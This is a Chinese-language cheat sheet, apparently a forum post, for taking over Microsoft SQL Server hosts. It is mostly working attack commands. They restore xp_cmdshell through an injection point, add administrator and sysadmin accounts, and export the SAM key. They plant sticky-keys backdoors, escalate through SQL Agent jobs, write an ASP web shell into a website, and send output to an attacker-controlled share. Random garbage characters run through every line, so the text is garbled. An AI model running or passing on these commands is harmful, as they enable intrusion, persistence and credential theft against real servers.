1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
R, P ~$ x4 M; I0 X! s" A% R: I恢复方法:查询分离器连接后,
+ U" Q0 @* c: K' W% _第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 4 O7 ]) @; E- l* V
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
4 D! G( L3 R: ?+ z) @8 z+ m8 h然后按F5键命令执行完毕
$ [# o, v3 a7 ?- g. W* @$ v+ I7 l5 e. X& V2 P) E
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)4 v9 p5 y+ ]$ Y
恢复方法:查询分离器连接后,# F) ^5 K0 ^; F
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
$ K" L6 {1 Q8 j B2 b. O" f第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
+ o5 W1 c9 K# z& |$ S+ v. V' ?然后按F5键命令执行完毕
( B. ]9 n- y' P( j7 i" u2 r- O; K" r# z8 R
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
2 ]3 z0 p! ]9 I% \ G恢复方法:查询分离器连接后,2 ~' M; D: k9 a/ m5 E! ?
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
) r" Q8 H/ B+ f' k! j+ X第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' 8 S5 [* u4 k7 C; ?# @
然后按F5键命令执行完毕
) ^# o9 ~9 Y; @ c/ Q( v. {; @ s3 a& M0 y: N
4 终极方法.
0 A6 `& o' S4 E& t2 T4 U- t9 R3 Q如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
' B; p$ |/ P1 S1 {7 ^# f查询分离器连接后,, L8 }$ f3 b0 u& K( ^7 R
2000servser系统:+ i. S, l8 {& V& W# r/ w8 B2 L2 h O
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
$ K$ Y' ^- Z) X
G! j) b) z( p/ J; o W. adeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
; u& S# H4 t+ T3 e% H) L4 p$ K7 Z" l `: N& K! U5 L. {$ g
xp或2003server系统:1 c5 }9 p& T/ H& V5 Y) d) \
& n9 c# @; m `# Q; S8 F( Zdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add') U% n9 S+ ], O: a" o
3 [ c+ ^) @6 [9 h9 d4 k
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'' {+ m. N6 n8 i% g' A
- E' D J O1 y; m
1 z$ s0 y+ l) d0 @0 O五个SHIFT3 b% i0 p2 h. t, o
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';+ u5 X# Z% {, V% x4 ~9 q
W! w1 P [% |; }$ t( B. L
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
, p$ c, b# C. y& Z/ a4 O1 p0 ?! R2 q' X0 U1 N' X* U
xp_cmdshell执行命令另一种方法
* ~: N9 S/ S# ~declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' 0 d* M d' ]! g8 N
( k: `: }. b- n判断存储扩展是否存在
2 W$ d2 o9 q9 [4 mSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'3 X+ J5 e, v9 Y( g5 O# l
返回结果为1就OK
3 v5 d2 M* c* ]( t$ H- ]) l
' s, \* f* |- Q% c' }. I, v! `( e1 |5 p4 M7 h4 B) Q
上传xplog70.dll恢复xp_cmdshell语句:5 U6 p3 h% y6 ~4 W
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'+ O* c7 t: X0 c
$ f9 C4 a$ a. X" d& e! j/ z
否则上传xplog7.0.dll
' ~) @0 z) C$ R) GExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
s9 h4 z$ F- E, c
: i' `# y' j; M% P' W% }3 f% N$ U2 H3 r- r6 W1 m* M! u: }% v
! E) B' i6 P0 A; C$ G% z- P首先开启沙盘模式:+ k9 }/ [1 i% x2 d3 \+ H
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1- h" d; k j/ F
1 {0 \& O/ t1 t5 K! O! ~, A2 D然后利用jet.oledb执行系统命令+ I1 O; r( g) ?% E* I
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')+ e' j6 n- k; c2 Y
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
2 Y- B/ q( D: a: F! F+ P% m7 M. }* ^. l4 d# P. q
& x* P& d8 i5 t( {
t; e& o7 G( X* u' @! M1 [恢复过程sp_addextendedproc 如下: 8 N6 K$ }1 p- P/ w8 I& J
create procedure sp_addextendedproc --- 1996/08/30 20:13
: x3 M2 i0 e U! F) z) j; R@functname nvarchar(517),/* (owner.)name of function to call */
$ B l }5 ] c( |0 J@dllname varchar(255)/* name of DLL containing function */ 8 u6 W& R! B6 h
as
# H2 g. s# W# x* _set implicit_transactions off
' Q/ B2 Z$ j3 h7 G" Fif @@trancount > 0 " @) h5 Z3 L* W* F$ k& K7 c
begin
: z) k4 h& \7 z- @3 r8 Sraiserror(15002,-1,-1,'sp_addextendedproc')
" W, D' Q$ U. B, l- J' Qreturn (1)
2 q+ ?8 e8 Z$ O5 n- oend
. X4 K* L! r/ o' _3 ^0 Y$ e- ~1 cdbcc addextendedproc( @functname, @dllname)
' T8 r2 Z0 Z, r" }return (0) -- sp_addextendedproc 0 W# Z5 O1 z' h" |. m. \
GO / M6 \2 t/ M8 k4 ^
- B' O& T) y$ d: f2 F3 I3 g& H& W# t5 Q
- g& ]" M3 f) ?. h5 I0 ]
导出管理员密码文件) z4 x3 R3 \1 {, Z% I2 m
sa默认可以读sam键.应该。0 B- ~! L: D9 [0 M
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
. F( x* K- i5 P( M- R! anet user administrator test8 K7 S0 ^6 X+ m, r2 Y8 u
用administrator登陆.0 A$ [ u3 g. @
用完机器后
6 | [/ _ L: zreg import c:\test.reg
3 F# x+ @, g: c( R4 n \. d ~根本不用克隆.6 I7 d: \4 W& Y1 v! U
找到对应的sid.
3 r7 L3 h8 K/ @4 J% M& Z1 B6 e! B. }$ g6 j
) D* B* ^9 w9 h
# h5 ? }/ w2 J5 }" H% Q; H0 a& L+ R恢复所有存储过程
: {! `. o4 q8 p1 Euse master ( f/ m& ^9 N- _
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
# l1 R# |* A4 o# T% m% }exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' 5 K0 ]* F: Z1 t5 ?
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' # ~+ C! W) j2 u4 J/ u% s1 P
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' ( H( f F% Y+ c4 c' e& e. _+ U- t4 T
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' 4 R3 {% L) W) U8 z" W+ @
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
7 E" \! _/ K$ C3 mexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
- x7 @+ o% h/ r% A8 t+ k; ?* bexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
$ }( @! O+ b7 _: K, ^1 Bexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
! H8 p; \# F9 Q. n |/ Oexec sp_addextendedproc sp_OAMethod,'odsole70.dll'
/ C: K) s- E5 x- z j6 Kexec sp_addextendedproc sp_OASetProperty,'odsole70.dll' ( @9 w) E( m e, N: H
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
' K7 p- i; }( F+ i! vexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
% `0 t3 W# [' O/ {* F2 a0 Texec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
, W$ L) _: r" L9 s( K& I: i7 c Hexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
$ j. h& |: N7 I; }5 Y2 P% Kexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' / S- i$ g, e$ w- J
exec sp_addextendedproc xp_regread,'xpstar.dll'
8 T% a7 l- x% pexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
: e& c8 l1 ]) d: Xexec sp_addextendedproc xp_regwrite,'xpstar.dll' 9 I7 L Y- Q" B6 M
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
# d" T D/ k. j7 P! p7 R5 A6 b7 g* L, g4 A3 S
9 F7 W% y& N8 `+ y, R6 s7 c
建立读文件的存储过程; M( o4 ^6 i8 i7 l$ V# r
Create proc sp_readTextFile @filename sysname% ]1 k+ _4 ?' a; e
as5 h% q3 G# ?& b+ u9 r2 C4 }6 g
` l, z. b4 b$ h- [0 R
begin
1 g$ ^# c3 N5 Z, Z/ t5 {5 ` set nocount on j i9 o0 z* q% o( x! o
Create table #tempfile (line varchar(8000))
8 T7 |; ?; o v: \0 e. h" P/ b exec ('bulk insert #tempfile from "' + @filename + '"')/ z/ [5 m* g; F" e/ q
select * from #tempfile; B7 l) P% Y& u0 s* H2 Z8 b
drop table #tempfile' Y$ r) t' O- F g3 M0 b" E( C9 N
End$ T( ^7 G0 @. J! v
; ]; @, y! i7 Zexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件' _1 d9 F# S! B/ G9 g. v
查看登录用户0 G/ A6 @7 B/ Y: K
Select * from sysxlogins2 ]* C* c! q/ S& C J$ y3 v; |
0 D% o3 x0 s% q& u- m
把文件内容读取到表中- e, e) Y# z# O% W4 J" g
BULK INSERT tmp from "c:\test.txt"
# j4 T* ?% y! PdElete from 表名 清理表里的内容
9 Y) H0 S' Y u; G8 dcreate table b_test(fn nvarchar(4000));建一个表,字段为fn
$ @2 S5 ?! }: o; |6 F/ c- j& |7 X" Q& O* ?0 B
- K. b9 D2 T( z2 d9 Y/ V加sa用户
4 F9 t' g# L# u2 Oexec master.dbo.sp_addlogin user,pass;
5 d5 V6 U) P( W ]; W& O; uexec master.dbo.sp_addsrvrolemember user,sysadmin
# E8 \# y% R2 l+ n! j6 t5 I: g# t1 Y" F
# m* H& Q# o: j$ e. e& s$ F
5 W: L2 G. Q" B读文件代码
6 Q& K, ^3 d& U8 Z8 tdeclare @o int, @f int, @t int, @ret int
: F1 C$ K* P9 `5 W$ T5 Ddeclare @line varchar(8000)& ^0 a: ]5 J% B9 X$ v" o# O( k
exec sp_oacreate 'scripting.filesystemobject', @o out e2 O6 o# [3 N, u0 `# N. @
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1( j9 g6 l& Y* R" P$ _
exec @ret = sp_oamethod @f, 'readline', @line out
2 y- ]7 s' ?; g; H4 k [% E' mwhile( @ret = 0 )! I1 n& u, e# e. H6 K/ j z
begin
1 j) w7 \3 n* ?print @line
1 ` |/ r2 P3 Lexec @ret = sp_oamethod @f, 'readline', @line out5 k7 d+ K' `/ K& E/ |& c: y( j4 A
end4 ]/ m- \6 V2 `3 r
& C# J& h; o8 U
" o2 F' R3 w1 g2 s$ x2 H* U! x
写文件代码:" ]" i3 d8 @; O8 L
declare @o int, @f int, @t int, @ret int8 f) }: {1 c0 d0 }2 i
exec sp_oacreate 'scripting.filesystemobject', @o out
2 b: F0 z K3 \/ |" V# kexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 18 X4 j- w0 C5 ~: C" P
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
1 A( a, D# j+ C6 }# y. Y! }8 z0 Z' O% l, h. n3 O
7 t+ w# M* W$ ~, R% s添加lake2 shell* W R0 _0 [+ U) O- G( q
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
0 r0 L4 q- W/ m2 E/ ^4 Vsp_dropextendedproc xp_lake2* R( x4 V" O3 d6 ?
EXEC xp_lake2 'net user'. e/ h- [$ W; Y( ?: K' f* \, `# ?
7 l# C* ~+ m, n, p d
& u, T g2 K( `得到硬盘文件信息
1 o# ^5 g2 r( B( \--参数说明:目录名,目录深度,是否显示文件
# d; c1 b2 \" s. V! W8 Q% M6 Nexecute master..xp_dirtree 'c:' 9 _* \ F, Y& u0 x9 r! w. G
execute master..xp_dirtree 'c:',1 1 W$ `# _% O$ r h1 `9 }& c# J
execute master..xp_dirtree 'c:',1,1
4 @$ C1 `4 r$ Q' b5 N) L, ^; ^4 x/ X
/ U8 |4 Z+ p7 Q; M$ k9 Q$ u5 ? S& n U. Q
读serv-u配置信息3 s) Y: V: b' X! b9 |& c
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'9 K7 G3 }/ z; ^# J
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
* ~/ X% r3 _- M2 |) }" C. l1 d3 r/ A1 ^, P5 U
通过xp_regwrite写SHIFT后门
7 f; U; q; C/ `" ?' J+ iexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--8 D1 q/ @4 M7 ?. A" s. i: _9 K( {
4 `' I4 Q# ~/ w3 ]1 S) j* r
3 }. j) c8 h7 z# C
5 T2 ^% R$ u8 ~7 F; V3 O( m找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';1 O* Z, U9 h+ [7 R6 p
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
8 n, I' X' o) l$ `& @8 u F2 n
3 t% E4 E# c" [6 T1 B3 ^EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
8 h; V- O- z/ i3 V7 f9 o' N
" _1 O$ u% n1 a0 V0 y4 i- U, J+ I1 R% x6 R. L$ F& Z
$ G- o1 Q& E: m- T' m2 {+ L
sql server 2005下开启xp_cmdshell的办法
v# t% A( y" C% L) ~7 N6 k2 D- E/ R, ]1 s7 O+ ~5 \/ |7 G3 k* }% I, }& s
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; w! l7 B0 z+ O" R" o
9 c7 U& G4 B# t* {8 V8 w& [
SQL2005开启'OPENROWSET'支持的方法:6 G; I \# ]9 y0 g `) H+ Q
/ v3 V: I) r4 @7 e- a6 L1 fexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;" S& Z! d0 a" {+ n5 C8 q/ ~
7 t k- v' E5 S9 }$ w* Y7 O4 c0 ~SQL2005开启'sp_oacreate'支持的方法:
4 H0 y) ^1 b) t8 O7 `5 ~& F1 f
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
8 A4 p$ @8 b) G
: A- y: e# S9 k; u1 H$ G1 A
6 k1 P# U% m8 e, m% R: E# Y& H) G. c. x1 v) h8 Q2 R0 d
& Y! `2 s: g% K
2 u3 U. w- t I' b* W2 |
) l9 Q! I3 i8 H. @
+ i& v4 L3 c& i5 P
- W8 Z6 S: U/ s. w9 E
0 s' J3 ], j1 X0 v4 x; P
, p/ }( |+ q& w: z9 g. L, ]8 O; _3 c& z+ N& k: I/ G
& P) Y: n6 R Q) @- Z9 r0 M
L0 H7 T& k3 j Y& Z7 F/ |' g0 c9 `6 @/ _( k u4 L) Q
! H. ?) C1 ]' J% h! R: ]! S4 X1 A7 k4 K
; M% s* l: g( q3 c2 h4 Q' X- f; ?7 ]- u4 _0 Z" O
3 Q+ K' m! y' S$ ]6 v" A: n) X7 ^% D& L7 I$ }* c" _
" O8 k2 i: [- X$ }) ` R2 d. p+ u, I9 M0 K9 m k& s: ]
; v4 j" C3 d6 g: ]& M# ~0 \/ \+ T' Q6 [) m. Y
以下方面不知道能不能成功暂且留下研究哈:, {5 A3 d& C0 q3 I
4)( J% k+ {$ M$ H+ |3 q7 k+ d: V& i$ k
use msdb; --这儿不要是master哟8 U+ x; A1 I* _
exec sp_add_job @job_name= czy82 ;/ V# S) Q& `/ C! [
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
5 q H( e4 H$ l$ nexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
) {) h: m4 `, l# L v5 O6 Y9 texec sp_start_job @job_name= czy82 ;
4 U0 g( g V3 t2 l2 S) u& |, |5 B3 { [3 T( X9 ~5 S1 \% Q
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
5 b1 z# S8 W" ?& g执行tsql语句了.
9 Z6 |! ~2 J4 G5 Z+ z! Q! {对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名1 u& Q2 O* M2 |
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)/ ?: U8 l6 F/ ^' V5 [! [8 Z; A
net start SQLSERVERAGENT
7 B/ M5 |9 m5 {$ q$ K. E# n$ i" R8 w- f9 s! B0 \
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的5 O7 ~0 \; a' y! z+ j
USE msdb6 L; y0 ~- [- S, ~) \
EXEC sp_add_job @job_name = GetSystemOnSQL ,2 R6 Y1 Z; ~# a/ X' F( ?4 d2 u" z
@enabled = 1, D- C W; |, k* t; S, x3 A! ^
@description = This will give a low privileged user access to
' G, o* D2 v# C/ j' R" r/ Txp_cmdshell ,
4 [% o9 Q7 |8 C7 s. l@delete_level = 1
9 ]- o( w; ]3 e5 {5 eEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
" i- [/ k F: @0 \- u$ b# k, c7 H/ H@step_name = Exec my sql ,
+ {+ v5 \$ N- p! j3 |6 ~4 H@subsystem = TSQL ,
( L0 @9 m- z8 x3 I$ D% r@command = exec master..xp_execresultset N select exec( t6 I. X/ Q: y1 w
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 8 P+ `% P) ?0 J4 J
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
; f, |$ [3 ?) l9 g8 [@server_name = 你的SQL的服务器名
) y* c ]1 P% ?, iEXEC sp_start_job @job_name = GetSystemOnSQL 9 d( ?! h" ^1 J3 F F2 X
9 L7 A! m% ~- F9 W8 U" m: R2 n不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
/ Y2 q; m+ m. c才让我们可以以public执行xp_cmdshell
& {' _6 P' N1 r& |8 ?
0 _7 ^5 E9 W& M* z5 F, b5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
! p5 A/ X& J) P M0 l在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
1 H% Q8 ]9 ?6 a& G6 Q& Y2 g- C+ n) Q% x' B
USE msdb7 C; _$ N( v' p
EXEC sp_add_job @job_name = ArbitraryFilecreate ,) Z3 p" h2 L3 G/ c. _
@enabled = 1,
) s! |2 u+ s) i7 H& n7 N% T3 N1 w; H@description = This will create a file called c:\sqlafc123.txt ,
4 e' t8 I9 T# m9 ~' j: ^6 w+ L/ p@delete_level = 1* w+ i7 E7 L5 X1 O3 p2 F. J* \
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
' |) _' B3 z* }! @@step_name = SQLAFC ,( L2 z0 {3 m: x# c4 F/ k0 k! h
@subsystem = TSQL ,, }+ M/ v* n* B& X! t$ ?7 u
@command = select hello, this file was created by the SQL Agent. ,, o q5 S# b5 ^1 ]8 r
@output_file_name = c:\sqlafc123.txt ; F8 N' y% J! I! l! w
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,. h6 H- j. u1 _2 `! Q
@server_name = SERVER_NAME
$ [! |& g! Q. W# EEXEC sp_start_job @job_name = ArbitraryFilecreate
5 i. A% q1 f& F0 P7 `# x
7 E' p) k Y, J如果subsystem选的是:tsql,在生成的文件的头部有如下内容5 z' e: m. @& k* b( G
' y0 R) d W6 Q7 ]: h
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
' t/ z% f( F( M; M7 j: q----------------------------------------------. R# e& k6 }( T, s0 m6 M0 c2 q5 ]
hello, this file was created by the SQL Agent.. }# o, A$ z9 F; a' E% ~9 K+ c* Y
$ ~. k; A ^$ X8 L: X) w4 Z% R
(1 ?????)8 I5 l" d, I( j+ |8 X- `
. |' T9 B+ N {% o% Y3 k0 ?! [所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
" \; u7 K3 D+ S; t命令的vbs文件到启动目录!5 Z5 a* \6 A* O. `
8 u) ~3 q& J- c/ n8 b6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
# O. [8 g9 W1 J. h2 `) {关于sp_MScopyscriptfile 看下面的例子- p! h+ N0 t, l5 z9 i
declare @command varchar(100)
1 r7 f; C% ^" L6 f6 Wdeclare @scripfile varchar(200)
# C8 f8 U( f( _ `1 Rset concat_null_yields_null off 6 G4 _% X* N! P# A' k" J
select @command= dir c:\ > "\\attackerip\share\dir.txt"
5 t v |, Y; `$ ^0 [select @scripfile= c:\autoexec.bat > nul" | @command | rd "
& O G) L7 {4 m/ t1 n# k; @$ Rexec sp_MScopyscriptfile @scripfile ,
+ E9 b' r$ [$ o; C; q& `3 q8 ]
这两个东东都还在测试试哟
: y6 e% k) u2 N% ~让MSSQL的public用户得到一个本机的web shell 8 D) I) T' R$ R0 b) f; |. b
" U, ~7 V# A( W# X) h- B
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,' | t& N' H2 e8 ^8 B
--@query= select <img src=vbscript:msgbox(now())>
7 J( h* k" k3 \2 r--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> / B5 `7 j1 t/ h0 ?* m
@query= select ; ~# W3 g. h) E1 ~( Y
<%On Error Resume Next
c: j3 F: I/ [Set oscript = Server.createObject("wscript.SHELL")
" h, d2 ]; S9 [0 i( RSet oscriptNet = Server.createObject("wscript.NETWORK")
( p1 z. b: b P) u- g7 M; aSet oFileSys = Server.createObject("scripting.FileSystemObject") - m( T2 |( A4 ~/ ]! i
szCMD = Request.Form(".CMD")
) A7 u( d) a: o. C. g3 M" ^, qIf (szCMD <>"")Then 3 x- U. h& h) \, ]1 V9 t& v+ g; V
szTempFile = "C:\" & oFileSys.GetTempName()
. Z$ h( _7 w" G1 a- J" ]. GCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
& B2 G2 |. o! H# u' PSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
6 X" s$ Q' `0 [, H$ `4 w6 vEnd If %>
5 b+ t, H! V# \5 r9 t8 R<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
5 d& H9 H$ l9 h/ w M2 E% G1 L<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
1 ?3 l( z+ {$ d6 C) y7 n$ ^</FORM>< RE> " h+ Z8 H! s0 x0 y9 J0 }/ } s$ \+ ?
<% If (IsObject(oFile))Then
% W& ^- e( S- k7 a* q0 ]On Error Resume Next * F$ `4 L+ Q4 W1 [& {" o- |
Response.Write Server.HTMLEncode(oFile.ReadAll) 7 @# Q% r" o n
oFile.Close # P' T$ T- i) ^8 S; z H4 ]5 a
Call oFileSys.deleteFile(szTempFile, True)
3 K8 w" p$ s9 p0 j o% N4 YEnd If%>
- s3 g+ X/ W3 I }4 ]* N1 w</BODY></HTML> S1 F( ?/ S- y$ g
|